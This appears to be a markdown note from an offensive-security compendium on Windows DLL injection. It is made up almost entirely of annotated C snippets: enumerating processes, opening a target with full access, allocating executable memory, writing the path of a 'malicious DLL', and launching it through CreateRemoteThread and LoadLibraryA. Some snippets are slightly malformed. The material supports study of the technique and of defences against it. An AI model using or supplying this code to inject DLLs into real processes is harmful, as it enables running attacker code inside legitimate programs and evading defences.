killchain-compendium/exploit/windows/process_injection/dll_injection.md

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# DLL Injection
```c
DWORD getProcessId(const char *processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process
TH32CS_SNAPPROCESS, // Include all processes residing on the system
0 // Indicates the current process
);
if (hSnapshot) {
PROCESSENTRY32 entry; // Adds a pointer to the PROCESSENTRY32 structure
entry.dwSize = sizeof(PROCESSENTRY32); // Obtains the byte size of the structure
if (Process32First( // Obtains the first process in the snapshot
hSnapshot, // Handle of the snapshot
&entry // Pointer to the PROCESSENTRY32 structure
)) {
do {
if (!strcmp( // Compares two strings to determine if the process name matches
entry.szExeFile, // Executable file name of the current process from PROCESSENTRY32
processName // Supplied process name
)) {
return entry.th32ProcessID; // Process ID of matched process
}
} while (Process32Next( // Obtains the next process in the snapshot
hSnapshot, // Handle of the snapshot
&entry
)); // Pointer to the PROCESSENTRY32 structure
}
}
DWORD processId = getProcessId(processName); // Stores the enumerated process ID
```
* Open Process
```c
HANDLE hProcess = OpenProcess(
PROCESS_ALL_ACCESS, // Requests all possible access rights
FALSE, // Child processes do not inheret parent process handle
processId // Stored process ID
);
```
* Allocate memory
```c
LPVOID dllAllocatedMemory = VirtualAllocEx(
hProcess, // Handle for the target process
NULL,
strlen(dllLibFullPath), // Size of the DLL path
MEM_RESERVE | MEM_COMMIT, // Reserves and commits pages
PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);
```
* Write to memory
```c
WriteProcessMemory(
hProcess, // Handle for the target process
dllAllocatedMemory, // Allocated memory region
dllLibFullPath, // Path to the malicious DLL
strlen(dllLibFullPath) + 1, // Byte size of the malicious DLL
NULL
);
```
```c
LPVOID loadLibrary = (LPVOID) GetProcAddress(
GetModuleHandle("kernel32.dll"), // Handle of the module containing the call
"LoadLibraryA" // API call to import
);
HANDLE remoteThreadHandler = CreateRemoteThread(
hProcess, // Handle for the target process
NULL,
0, // Default size from the execuatable of the stack
(LPTHREAD_START_ROUTINE) loadLibrary, pointer to the starting function
dllAllocatedMemory, // pointer to the allocated memory region
0, // Runs immediately after creation
NULL
);
```